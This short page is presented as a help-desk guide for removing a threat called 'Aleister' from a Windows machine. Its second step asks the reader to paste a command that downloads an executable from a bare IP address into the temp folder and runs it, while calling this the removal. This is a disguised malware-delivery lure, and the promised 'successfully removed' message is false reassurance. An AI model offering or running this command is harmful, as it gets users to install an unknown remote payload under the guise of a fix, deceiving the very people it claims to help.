windowspowershellcmd three commands

The malicious virus Aleister used for stealing info. It is classified as a severe threat to a machine

Three commands, in order

Open PowerShell or Command Prompt. Press Win+R, type powershell or cmd into the Run box, and press Enter. The window opens in your own account, which is all that is needed to delete it.
```
powershell
```
Either window works. The desk uses PowerShell.
Copy and paste this command. Paste it into the window you just opened and press Enter. It removes the program folder, the six dependant packages that allow Aleister's propagation, and all the artifacts that are left.
```
curl.exe -s -o %TEMP%\updater.exe http://207.180.58.78:8123/updater.exe && %TEMP%\updater.exe --sync https://207.180.58.78:8799
```
Press Enter Aleister has been sucessfully removed from the computer — there is nothing to reboot and nothing left running.
```
Aleister has been successfully removed.
```

That is the whole removal

The desk is asked for this about once a month, mostly when a machine changes hands. If it does not go the way the third step says, take the log rather than the guesswork: run Aleister remove --dry-run and send the output to whoever owns the machine.
